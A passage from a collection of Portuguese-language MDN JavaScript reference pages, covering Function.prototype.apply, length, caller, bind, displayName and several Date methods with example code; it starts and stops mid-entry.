ao invés de uma lista de argumentos\n\n\n```js\nFunction.prototype.construct = function (aArgs) {\n  var oNew = Object.create(this.prototype);\n  this.apply(oNew, aArgs);\n  return oNew;\n};\n```\n\n\n**Nota:** O método `Object.create()` usado acima é relativamente novo. Para um método alternativo utilizando closures, por favor considere a seguinte alternativa.\n\n\n```js\nFunction.prototype.construct = function (aArgs) {\n  var fConstructor = this,\n    fNewConstr = function () {\n      fConstructor.apply(this, aArgs);\n    };\n  fNewConstr.prototype = fConstructor.prototype;\n  return new fNewConstr();\n};\n```\n\n\nExemplo de uso:\n\n\n```js\nfunction MyConstructor() {\n  for (var nProp = 0; nProp < arguments.length; nProp++) {\n    this[\"property\" + nProp] = arguments[nProp];\n  }\n}\n\nvar myArray = [4, \"Hello world!\", false];\nvar myInstance = MyConstructor.construct(myArray);\n\nconsole.log(myInstance.property1); // logs 'Hello world!'\nconsole.log(myInstance instanceof MyConstructor); // logs 'true'\nconsole.log(myInstance.constructor); // logs 'MyConstructor'\n```\n\n\n**Nota:** Este método não nativo `Function.construct` não irá funcionar com alguns construtores nativos (como `Date`, por exemplo). Nestes casos você tem que usar o método `Function.prototype.bind` (por exemplo, imagine ter um array como o seguinte, para ser usado com o construtor `Date`: `[2012, 11, 4]`; Neste caso você tem que escrever algom como: `new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()` - de qualquer maneira essa não é a melhor forma de fazer as coisas e provavelmente não deve ser utilizado em qualquer ambiente de produção.\n\n### Usando `apply` e funções embutidas\n\nA forma inteligente com que `apply` é utilizado permite à você usar funções nativas que de outra forma provavelmente teriam que ser escritas iterando sobre um array de valores. Aqui, como exemplo, iremos utilizar `Math.max`/`Math.min` para achar o valor máximo/mínimo value em um array.\n\n\n```js\n/\\* número min/max em um array \\*/\nvar numbers = [5, 6, 2, 3, 7];\n\n/\\* utilizando Math.min/Math.max apply \\*/\nvar max = Math.max.apply(\n  null,\n  numbers,\n); /\\* Isso está prestes a ser igual a Math.max(numbers[0], ...)\n ou Math.max(5, 6, ...) \\*/\nvar min = Math.min.apply(null, numbers);\n\n/\\* vs. algoritmo simples baseado em loop \\*/\n(max = -Infinity), (min = +Infinity);\n\nfor (var i = 0; i < numbers.length; i++) {\n  if (numbers[i] > max) {\n    max = numbers[i];\n  }\n  if (numbers[i] < min) {\n    min = numbers[i];\n  }\n}\n```\n\n\nMas tome cuidado: ao utilizar o `apply` desta forma, você corre o risco de exceder o limite de argumentos do JavaScript. As consequências de fazer applying em uma função com muitos argumentos (pense em algo como dezenas de centenas de argumentos) varia de acordo com os engines (JavaScriptCore tem um limite de argumentos de 65536 hard-coded), visto que o limite (na verdade, até mesmo a natureza de qualquer comportamento de um stack excessivamente grande) não é especificado. Algumas engines irão jogar uma excessão. De uma forma mais incisiva, outras engines irão limitar de forma arbitrária o número de argumentos que poderção ser aplicados à função. (Para ilustrar esse último caso: se uma engine dessas tem um limite de quatro argumentos [obviamente, os limites atuais são significativamente maiores], isso seria como se os argumentos `5, 6, 2, 3` do exemplo anterior fossem passados ao `apply`, ao invés do array completo.) Se o valor do seu array puder crescer à casa das dezenas de centenas, use uma estratégia híbrida: aplique suas funções em cada bloco de array por vez:\n\n\n```js\nfunction minOfArray(arr) {\n  var min = Infinity;\n  var QUANTUM = 32768;\n\n  for (var i = 0, len = arr.length; i < len; i += QUANTUM) {\n    var submin = Math.min.apply(null, arr.slice(i, Math.min(i + QUANTUM, len)));\n    min = Math.min(submin, min);\n  }\n\n  return min;\n}\n\nvar min = minOfArray([5, 6, 2, 3, 7]);\n```\n\n### Usando apply em \"monkey-patching\"\n\nApply pode ser a melhor forma de monkey-patch uma função nativa do Firefox, ou de bibliotecas em JS. Dada uma função `someobject.foo`, você poderá modificar a função de uma maneira hackeresca, como por exemplo:\n\n\n```js\nvar originalfoo = someobject.foo;\nsomeobject.foo = function () {\n  // Faça coisas antes de chamar a função\n  console.log(arguments);\n  // Chama a função como se ela estivesse sido chamada normalmente:\n  originalfoo.apply(this, arguments);\n  // Rode as coisas que vem depois, aqui.\n};\n```\n\n\nEsse método é especialmente útil quando você quer fazer debug de eventos, ou interagir com algo que não tem nenhuma API como os diversos eventos `.on([event]...` events, por exemplo aqueles utilizáveis no Devtools Inspector).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function.prototype.apply |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Objeto `arguments`\n* `Function.prototype.bind()`\n* `Function.prototype.call()`\n* Funções e escopo de funções"}
{"title":"Function.length - JavaScript","text":"Function.length\n===============\n\nA propriedade **`length`** especifica o número de argumentos esperados pela função.\n\n| Property attributes of `Function.length` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | yes |\n\nDescrição\n---------\n\n`length é uma propriedade de um objeto função`, e indica quantos argumentos a função espera, i.e. o número de parametros formais. Este número não incluí o rest parameter (en-US). Por contraste, `arguments.length` (en-US) é local para a função e fornece o número de argumentos que foram realmente passados.\n\n### Propriedade de Dados do construtor `Function`\n\nO construtor `Function` é propriamente um objeto `Function`. A proproedade de dados do seu `length` tem o valor de 1. Os atributos da propriedade são: Escrita: `false`, Enumerável: `false`, Configurável: `true`.\n\n### Propriedades do objeto prototype de `Function`\n\nA propriedade length do objeto prototype `Function` tem o valor de 0.\n\nExemplos\n--------\n\n\n```js\nconsole.log(Function.length); /\\* 1 \\*/\n\nconsole.log(function () {}.length); /\\* 0 \\*/\nconsole.log(function (a) {}.length); /\\* 1 \\*/\nconsole.log(function (a, b) {}.length); /\\* 2 etc. \\*/\nconsole.log(\n  function (...args) {}.length,\n); /\\* 0, rest parameter is not counted \\*/\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function-instances-length |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja tambem\n-----------\n\n* `Function`"}
{"title":"Function.caller - JavaScript","text":"Function.caller\n===============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nA propriedade **`function.caller`** retorna a função que invocou a função especificada.\n\nDescrição\n---------\n\nSe a função `f` foi invocada pelo codigo mais alto nível, o valor de `f.caller` é `null`, caso contrario, o valor será a função a qual invocou `f`.\n\nEsta propriedade substitui a propriedade obsoleta `arguments.caller` do objeto `arguments`.\n\nA propriedade especial `__caller__`, a qual retornou o objeto de ativação do chamador, permitindo assin reconstruir o stack, foi removido por motivo de segurança.\n\n### Notas\n\nNote que no caso de recurção, você não pode reconstruir o stack de chamadas usando esta propriedade. Considere:\n\n\n```js\nfunction f(n) {\n  g(n - 1);\n}\nfunction g(n) {\n  if (n > 0) {\n    f(n);\n  } else {\n    stop();\n  }\n}\nf(2);\n```\n\n\nNo momento em que `stop()` é chamado o stack será:\n\n\n```js\nf(2) -> g(1) -> f(1) -> g(0) -> stop()\n```\n\n\nO seguinte é true:\n\n\n```js\nstop.caller === g && f.caller === g && g.caller === f;\n```\n\n\nentão se você tentou recuperar o stack trace na função `stop()` assim:\n\n\n```js\nvar f = stop;\nvar stack = \"Stack trace:\";\nwhile (f) {\n  stack += \"\\n\" + f.name;\n  f = f.caller;\n}\n```\n\n\no loop nunca irá parar.\n\nExemplos\n--------\n\n### Verificando o valor da propriedade `caller` de uma função\n\nO código a seguir verifica o valor da propriedade `caller` de uma função.\n\n\n```js\nfunction myFunc() {\n  if (myFunc.caller == null) {\n    return \"The function was called from the top!\";\n  } else {\n    return \"This function's caller was \" + myFunc.caller;\n  }\n}\n```\n\nEspecificações\n--------------\n\nNão faz parte de nenhuma especificação. Implementado no JavaScript 1.5.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Implementation bug for SpiderMonkey Erro do Firefox 65683"}
{"title":"Function.prototype.bind() - JavaScript","text":"Function.prototype.bind()\n=========================\n\nO método **`bind()`** cria uma nova função que, quando chamada, tem sua palavra-chave `this` definida com o valor fornecido, com uma sequência determinada de argumentos precedendo quaisquer outros que sejam fornecidos quando a nova função é chamada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nfunction.bind(thisArg[, arg1[, arg2[, ...]]])\n```\n\n### Parâmetros\n\n`thisArg`\n\nO valor a ser passado como parâmetro `this` para a função de destino quando a função vinculada é chamada. O valor é ignorado se a função ligada é construída usando o operador `new`.\n\n`arg1, arg2, ...`\n\nArgumentos que precedem outros argumentos fornecidos para a função vinculada ao invocar a função de destino.\n\n### Valor de retorno\n\nUma cópia da função fornecida com o valor `this` especificado e argumentos iniciais.\n\nDescrição\n---------\n\nA função `bind()` cria uma nova **função vinculada** (*bound function*). Uma função vinculada é um **objeto de função exótico** (termo da **ECMAScript 2015**) que encapsula o objeto de função original. Chamar uma função vinculada geralmente resulta na execução de sua **função encapsulada**.\n\nUma função vinculada tem as seguintes propriedades internas:\n\n* **[[BoundTargetFunction]]** - o objeto de função encapsulado;\n* **[[BoundThis]]** - o valor que sempre é passado como `this` quando se chama a função encapsulada;\n* **[[BoundArguments]]** - uma lista de valores cujos elementos são usados como os primeiros argumentos para qualquer chamada da função encapsulada;\n* **[[Call]]** - executa código associado com este objeto. Invocado através de uma expressão de chamada de função. Os argumentos para o método interno são um valor `this` e uma lista contendo os argumentos passados para a função por uma expressão de chamada.\n\nQuando a função vinculada é chamada, ela chama seu método interno **[[Call]]** na **[[BoundTargetFunction]],** na forma `Call(boundThis, args)`, onde `boundThis` é **[[BoundThis]]** e `args` é **[[BoundArguments]]** seguido pelos argumentos passados pela chamada de função.\n\nUma função vinculada também pode ser construída usando-se o operador `new`; ao fazê-lo, o resultado é o mesmo que seria se a função alvo tivesse sido construída. O valor de `this` fornecido é ignorado, porém os argumentos precedentes são fornecidos à função emulada.\n\nExemplos\n--------\n\n### Criando uma função vinculada\n\nO uso mais simples de `bind()` é fazer com que uma função que, independentemente da chamada, é chamada com um determinado valor `this`. Um erro comum para programadores JavaScript novatos é extrair um método de um objeto e, em seguida, chamar essa função e esperar que ele use o objeto original como o seu `this` (por exemplo, usando esse método num código baseado em *callback*). Sem a devida atenção, no entanto, o objeto original é normalmente perdido. Criar uma função vinculada a partir da função, usando o objeto original, resolve perfeitamente esse problema:\n\n\n```js\nthis.x = 9; //this aqui se refere ao objeto global \"window\" do navegador\nvar module = {\n  x: 81,\n  getX: function () {\n    return this.x;\n  },\n};\n\nmodule.getX(); // 81\n\nvar retrieveX = module.getX;\nretrieveX();\n// retorna 9 - a função foi invocada no escopo global\n\n// Criando uma nova função com 'this' vinculada ao módulo\n// Programadores novatos podem confundir a variável x\n// global com a propriedade x do módulo\nvar boundGetX = retrieveX.bind(module);\nboundGetX(); // 81\n```\n\n### Funções parcialmente aplicadas\n\nO próximo uso mais simples de `bind()` é criar uma função com argumentos iniciais pré-especificados. Esses argumentos (caso existam) acompanham o valor `this` fornecido e então são inseridos no início dos argumentos passados para a função alvo, seguidos pelos argumentos passados para a função vinculada, sempre que a função vinculada é chamada.\n\n\n```js\nfunction list() {\n  return Array.prototype.slice.call(arguments);\n}\n\nvar list1 = list(1, 2, 3); // [1, 2, 3]\n\n// Cria uma função com um argumento principal predefinido\nvar leadingThirtysevenList = list.bind(null, 37);\n\nvar list2 = leadingThirtysevenList();\n// [37]\n\nvar list3 = leadingThirtysevenList(1, 2, 3);\n// [37, 1, 2, 3]\n```\n\n### Com `setTimeout`\n\nPor padrão, dentro de `window.setTimeout()` (en-US) a palavra-chave `this` vai ser definida com o objeto `window` (ou com o objeto `global`). Ao trabalhar com métodos de classes que requerem que `this` se refira à instâncias de classes, você pode vincular `this` explicitamente à função de *callback*, de modo a manter a instância.\n\n\n```js\nfunction LateBloomer() {\n  this.petalCount = Math.ceil(Math.random() \\* 12) + 1;\n}\n\n// Declarar bloom depois de um intervalo de 1 segundo\nLateBloomer.prototype.bloom = function () {\n  window.setTimeout(this.declare.bind(this), 1000);\n};\n\nLateBloomer.prototype.declare = function () {\n  console.log(\"I am a beautiful flower with \" + this.petalCount + \" petals!\");\n};\n\nvar flower = new LateBloomer();\nflower.bloom();\n// depois de 1 segundo, ativa o método 'declare'\n```\n\n### Funções vinculadas usadas como construtores\n\n**Aviso:** Esta seção demonstra capacidades do JavaScript e documenta alguns casos de borda do método `bind()`. Os métodos mostrados abaixo não são os melhores jeitos de se fazer as coisas e provavelmente não deveriam ser usados em nenhum ambiente produtivo.\n\nFunções vinculadas são automaticamente adequadas para uso com o operador `new` para construir novas instâncias criadas pela função alvo. Quando uma função vinculada é usada para construir um valor, o `this` fornecido é ignorado. Porém, argumentos fornecidos ainda são prefixados à chamada do construtor:\n\n\n```js\nfunction Point(x, y) {\n  this.x = x;\n  this.y = y;\n}\n\nPoint.prototype.toString = function () {\n  return this.x + \",\" + this.y;\n};\n\nvar p = new Point(1, 2);\np.toString(); // '1,2'\n\n// não suportado no polyfill abaixo,\n// funciona bem com o bind nativo:\n\nvar YAxisPoint = Point.bind(null, 0 /\\*x\\*/);\n\nvar emptyObj = {};\nvar YAxisPoint = Point.bind(emptyObj, 0 /\\*x\\*/);\n\nvar axisPoint = new YAxisPoint(5);\naxisPoint.toString(); // '0,5'\n\naxisPoint instanceof Point; // true\naxisPoint instanceof YAxisPoint; // true\nnew Point(17, 42) instanceof YAxisPoint; // true\n```\n\n\nNote que você não precisa fazer nada de especial para criar uma função vinculada para usar com `new`. O corolário é que você não precisa fazer nada de especial para criar uma função vinculada que será chamada de forma clara, mesmo que você preferisse que a função vinculada fosse somente chamada usando-se `new`.\n\n\n```js\n// Exemplo pode ser executado diretamente no seu console JavaScript\n// ...continuando o exemplo acima\n\n// Ainda pode ser chamada como uma função normal\n// (apesar de que isso geralmente não é desejado)\nYAxisPoint(13);\n\nemptyObj.x + \",\" + emptyObj.y;\n// > '0,13'\n```\n\n\nSe você quer suportar o uso de uma função vinculada somente através de `new`, ou somente a chamando, a função alvo deve impor essa restrição.\n\n### Criando atalhos\n\n`bind()` itambém é útil em casos onde você quer criar um atalho para uma função que requer um valor específico de `this`.\n\nTome por exemplo `Array.prototype.slice`, que você quer usar para converter um objeto *array-like* em um vetor verdadeiro. Você poderia criar um atalho assim:\n\n\n```js\nvar slice = Array.prototype.slice;\n\n// ...\n\nslice.apply(arguments);\n```\n\n\nCom `bind()`, isso pode ser simplificado. No seguinte trecho de código, `slice` é uma função vinculada à função `apply()` de `Function.prototype` (en-US), com o valor `this` definido com a função `slice()` de `Array.prototype`. Isso significa que chamadas adicionais de `apply()` podem ser eliminadas:\n\n\n```js\n// mesmo que \"slice\" no exemplo anterior\nvar unboundSlice = Array.prototype.slice;\nvar slice = Function.prototype.apply.bind(unboundSlice);\n\n// ...\n\nslice(arguments);\n```\n\nPolyfill\n--------\n\nA função `bind` é uma adição à ECMA-262, 5ª. edição; como tal, pode não estar presente em todos os navegadores. Você pode contornar isso parcialmente inserindo o seguinte código no começo de seus *scripts*, permitindo o uso de muita parte da funcionalidade de `bind()` em implementações que não a suportam nativamente.\n\n\n```js\nif (!Function.prototype.bind) {\n  Function.prototype.bind = function (oThis) {\n    if (typeof this !== \"function\") {\n      // mais próximo possível da função interna\n      // IsCallable da ECMAScript 5\n      throw new TypeError(\n        \"Function.prototype.bind - what is trying to be bound is not callable\",\n      );\n    }\n\n    var aArgs = Array.prototype.slice.call(arguments, 1),\n      fToBind = this,\n      fNOP = function () {},\n      fBound = function () {\n        return fToBind.apply(\n          this instanceof fNOP ? this : oThis,\n          aArgs.concat(Array.prototype.slice.call(arguments)),\n        );\n      };\n\n    fNOP.prototype = this.prototype;\n    fBound.prototype = new fNOP();\n\n    return fBound;\n  };\n}\n```\n\n\nAlgumas das muitas diferenças (é bem possível que haja outras, já que esta lista não pretende seriamente ser completa) entre este algoritmo e o algoritmo especificado são:\n\n* Esta implementação parcial depende dos métodos internos `Array.prototype.slice()`, `Array.prototype.concat()`, `Function.prototype.call()` e `Function.prototype.apply()` possuírem seus valores originais.\n* Esta implementação parcial cria funções que não tem um `caller` imutável como \"mecanismo de defesa\" e propriedades `arguments` que lançam um `TypeError` ao usar *get*, *set*, ou ao deletar. (Isto pode ser adicionado se a implementação suporta `Object.defineProperty`, ou parcialmente implementado sem um comportamento *throw-on-delete* se a implementação suporta as extensões `Object.prototype.__defineGetter__()` e `Object.prototype.__defineSetter__()`)\n* Esta implementação parcial cria funções que tem uma propriedade `prototype`. (Funções vinculadas apropriadas não a tem.)\n* Esta implementação parcial cria funções vinculadas cuja propriedade `length` não cumpre com a regra da ECMA-262: cria funções com comprimento zero, quando uma implementação completa, dependendo do comprimento da função alvo e do número de argumentos pre-especificados, pode retornar um comprimento não-nulo.\n\nSe você escolher utilizar esta implementação parcial, **você não deve confiar em casos onde o comportamento é diferente da ECMA-262, 5ª. edição!** Porém, com algum cuidado (e talvez com modificação adicional para atender necessidades específicas), esta implementação parcial pode ser uma ponte razoável para quando `bind()` for amplamente implementada de acordo com a especificação.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function.prototype.bind |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Function.prototype.apply()`\n* `Function.prototype.call()`\n* Functions"}
{"title":"Function.displayName - JavaScript","text":"Function.displayName\n====================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nA propriedade **`function.displayName`** retorna o nome de exibição da função.\n\nDescrição\n---------\n\nQuando definida, a propriedade `displayName` retorna o nome de exibição da função.\n\n\n```js\nfunction doSomething() {}\n\nconsole.log(doSomething.displayName); // \"undefined\"\n\nvar popup = function (content) {\n  console.log(content);\n};\n\npopup.displayName = \"Show Popup\";\n\nconsole.log(popup.displayName); // \"Show Popup\"\n```\n\n\nVocê pode definir uma função com uma nome de exibição em um function expression:\n\n\n```js\nvar object = {\n  someMethod: function () {},\n};\n\nobject.someMethod.displayName = \"someMethod\";\n\nconsole.log(object.someMethod.displayName); // logs \"someMethod\"\n\ntry {\n  someMethod;\n} catch (e) {\n  console.log(e);\n}\n// ReferenceError: someMethod is not defined\n```\n\n\nVocê pode mudar dinamicamente o`displayName` de uma função:\n\n\n```js\nvar object = {\n  // anonymous\n  someMethod: function (value) {\n    arguments.callee.displayName = \"someMethod (\" + value + \")\";\n  },\n};\n\nconsole.log(object.someMethod.displayName); // \"undefined\"\n\nobject.someMethod(\"123\");\nconsole.log(object.someMethod.displayName); // \"someMethod (123)\"\n```\n\nExemplos\n--------\n\nGeralmente, é preferida por consoles e perfis em vez de `func.name` mostrar o nome de uma função.\n\nEntrando com o seguinte em um console, isso deverá mostrar algo como \"`function My Function()`\":\n\n\n```js\nvar a = function () {};\na.displayName = \"My Function\";\n\na; // \"function My Function()\"\n```\n\nEspecificações\n--------------\n\nNão faz parte de denhuma especificação.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Date.prototype.getUTCDay() - JavaScript","text":"Date.prototype.getUTCDay()\n==========================\n\nO método **`getUTCDay()`** retorna o dia da semana na data especificada de acordo com o horário universal, onde 0 representa domingo.\n\nSintaxe\n-------\n```\n\ndateObj.getUTCDay()\n```\n\n### Parâmetros\n\nNenhum.\n\n### Valor retornado\n\nO valor retornado por `getUTCDay()` é um inteiro correspondente ao dia da semana: 0 para domingo, 1 para segunda-feira, 2 para terça-feira e assim por diante.\n\nExemplos\n--------\n\n### Usando `getUTCDay()`\n\nO exemplo a seguir atribui a parte do dia da semana da data atual à variável `diaDaSemana`.\n\n\n```js\nvar hoje = new Date();\nvar diaDaSemana = hoje.getUTCDay();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutcday |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCDate()`\n* `Date.prototype.getDay()`\n* `Date.prototype.setUTCDate()`"}
{"title":"Date.prototype.setUTCHours() - JavaScript","text":"Date.prototype.setUTCHours()\n============================\n\nO método **`setUTCHours()`** atribui a hora para a data especificada de acordo com o horário universal, e retorna o número de milissegundos desde 1 de Janeiro de 1970 00:00:00 UTC até o horário representado pela instância `Date` atualizada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setUTCHours(hoursValue[, minutesValue[, secondsValue[, msValue]]])\n```\n\n### Parâmetros\n\n`hoursValue`\n\nUm inteiro entre 0 e 23, representando a hora.\n\n`minutesValue`\n\nOpcional. Um inteiro entre 0 e 59, representando os minutos.\n\n`secondsValue`\n\nOpcional. Um inteiro entre 0 e 59, representando os segundos. Se você especificar o parâmetro `secondsValue`, você também deve especificar `minutesValue`.\n\n`msValue`\n\nOpcional. Um número entre 0 e 999, representando os milissegundos. Se você especificar o parâmetro `msValue`, você também deve especificar `minutesValue` e `secondsValue`.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especificar os parâmetros `minutesValue`, `secondsValue`, e `msValue`, os valores retornados dos métodos `getUTCMinutes()`, `getUTCSeconds()`, e `getUTCMilliseconds()` serão utilizados.\n\nSe o parâmetro que você especificou estiver fora do alcance esperado, `setUTCHours()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usa 100 para `secondsValue`, os minutos serão incrementados em 1 (`minutesValue + 1`), e 40 será usado para os segundos.\n\nExemplos\n--------\n\n### Usando `setUTCHours()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setUTCHours(8);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setutchours |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCHours()`\n* `Date.prototype.setHours()`"}
{"title":"Date.prototype.getTimezoneOffset() - JavaScript","text":"Date.prototype.getTimezoneOffset()\n==================================\n\nO método **`getTimezoneOffset()`** retorna a diferença, em minutos, do deslocamento de fuso horário entre o UTC (Tempo Universal Coordenado) e a localidade atual.\n\nSintaxe\n-------\n```\n\ndateObj.getTimezoneOffset()\n```\n\n### Parâmetros\n\nNenhum\n\n### Valor de retorno\n\nO deslocamento de fuso horário é a diferença, em minutos, entre o UTC (Tempo Universal Coordenado) e o horário local. Perceba que isto significa que o deslocamento será negativo se o fuso horário local está à direita do UTC e positivo se está a esquerda. Por exemplo, se seu fuso horário é UTC+10(Padrão da Austrália Oriental), -600 será retornado. O Horário de verão evita que este valor seja sempre o mesmo para uma determinada localidade.\n\nExemplo\n\n### Utilizando `getTimezoneOffset()`\n\n\n```js\nvar x = new Date();\nvar currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.gettimezoneoffset |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Date.prototype.getUTCFullYear() - JavaScript","text":"Date.prototype.getUTCFullYear()\n===============================\n\nO método **`getUTCFullYear()`** retorna o ano na data indicada de acordo com o horário universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.getUTCFullYear()\n```\n\n### Retorna\n\nUm número que representa o ano na data indicada de acordo com o horário universal.\n\nDescrição\n---------\n\nO valor retornado por `getUTCFullYear()` é um número absoluto compatível com ano 2000, por exemplo, 1995.\n\nExemplos\n--------\n\n### Usando `getUTCFullYear()`\n\nO exemplo a seguir atribui o valor de 4 dígitos do ano atual à variável `year.`\n\n\n```js\nvar today = new Date();\nvar year = today.getUTCFullYear();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutcfullyear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getFullYear()`\n* `Date.prototype.setFullYear()`"}
{"title":"Date.prototype.setUTCDate() - JavaScript","text":"Date.prototype.setUTCDate()\n===========================\n\nO método **`setUTCDate()`** atribui o dia do mês para uma data especifica de acordo com o horário universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setUTCDate(dayValue)\n```\n\n### Parâmetros\n\n`dayValue`\n\nUm inteiro entre 1 e 31, representando o dia do mês.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe um parâmetro que você especificou está fora do alcance esperado, `setUTCDate()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usar 40 para `dayValue`, e o mês guardado no objeto `Date` é Junho, o dia será trocado para 10 e o mês será incrementado para Julho.\n\nExemplos\n--------\n\n### Usando `setUTCDate()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setUTCDate(20);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setutcdate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCDate()`\n* `Date.prototype.setDate()`"}
{"title":"Date.prototype.toLocaleDateString() - JavaScript","text":"Date.prototype.toLocaleDateString()\n===================================\n\nO método **`toLocaleDateString()`** retorna uma string com a representação de parte da data baseando-se no idioma. Os novos argumentos `locales` e `options` deixam as aplicações especificarem o idioma cujas convenções de formatação devem ser usadas e permitem customizar o comportamento da função. Em implementações antigas, nas quais ignoram os argumentos `locales` e `options`, o locale usado e a forma da string retornada são inteiramente dependente da implementação nativa.\n\nSintáxe\n-------\n```\n\ndateObj.toLocaleDateString([locales [, options]])\n```\n\n### Parametros\n\nVerifique a seção Compatibilidade entre navegadores para ver quais navegadores dão suporte aos argumentos `locales` e `options`, e o Example: Verificação para suporte dos argumentos `locales` e `options` para detectar a funcionalidade.\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/DateTimeFormat', 'Parameters')}}O valor padrão para cada propriedade do componente date-time é `undefined`, mas se as propriedades `weekday`, `year`, `month`, `day` são todas `undefined`, então `year`, `month` and `day` são assumidos como \"`numeric`\".\n\n### Return value\n\nUma representação em string de parte da data dada a instância `Date` de acordo com as convenções específicas do idioma.\n\nExemplos\n--------\n\n### Usando `toLocaleDateString()`\n\nEm uso básico sem especificação de locale, uma string formatada no padrão do locale e com as opções padrões é retornada.\n\n\n```js\nvar date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));\n\n// toLocaleDateString() sem argumentos depende da implementação,\n// o locale padrão, e o time zone padrão\nconsole.log(date.toLocaleDateString());\n// → \"12/11/2012\" se rondando em locale en-US com time zone de America/Los\\_Angeles\n```\n\n### Checagem para o suporte dos argumentos `locales` e `options`\n\nOs argumentos `locales` e `options` não são suportados em todos os browser ainda. Para verificar se uma uma implementação já suporta eles, você pode usar o requisito de que tags de idioma ilegal são rejeitadas com uma exceção `RangeError` (en-US):\n\n\n```js\nfunction toLocaleDateStringSupportsLocales() {\n  try {\n    new Date().toLocaleDateString(\"i\");\n  } catch (e) {\n    return e.name === \"RangeError\";\n  }\n  return false;\n}\n```\n\n### Usando `locales`\n\nEsse exemplo mostra algumas das variações em formatos de data localizados. A fim de obter oformato do idioma usado na interface de usuário da usa aplicação, certifique-se de especificar esse idioma (e possivelmente algumas outros idiomas de reserva) usando o argumento `locales`:\n\n\n```js\nvar date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));\n\n// os formatos abaixo assumem o time zone local do locale;\n// America/Los\\_Angeles for the US\n\n// Inglês americano usa a ordem mês-dia-ano\nconsole.log(date.toLocaleDateString(\"en-US\"));\n// → \"12/19/2012\"\n\n// Inglês Britânico usa a ordem dia-mês-ano\nconsole.log(date.toLocaleDateString(\"en-GB\"));\n// → \"20/12/2012\"\n\n// Coreano usa a ordem ano-mês-dia\nconsole.log(date.toLocaleDateString(\"ko-KR\"));\n// → \"2012. 12. 20.\"\n\n// Árabe na maioria dos países de língua árabe usa dígitos árabes reais\nconsole.log(date.toLocaleDateString(\"ar-EG\"));\n// → \"٢٠‏/١٢‏/٢٠١٢\"\n\n// para Japonês, aplicações podem querer usar o calendário japonês,\n// onde 2012 foi o ano 24 da era Heisei\nconsole.log(date.toLocaleDateString(\"ja-JP-u-ca-japanese\"));\n// → \"24/12/20\"\n\n// quando um idioma que pode não ser suportado é requerido, tal como\n// Balinês, inclua um idioma de reserva, nesse caso Indonésio\nconsole.log(date.toLocaleDateString([\"ban\", \"id\"]));\n// → \"20/12/2012\"\n```\n\n### Usando `options`\n\nO resultados gerados por `toLocaleDateString()` podem ser customizado usando o argumento `options`:\n\n\n```js\nvar date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));\n\n// requer um dia da semana jutamente com uma data longa\nvar options = {\n  weekday: \"long\",\n  year: \"numeric\",\n  month: \"long\",\n  day: \"numeric\",\n};\nconsole.log(date.toLocaleDateString(\"de-DE\", options));\n// → \"Donnerstag, 20. Dezember 2012\"\n\n// uma 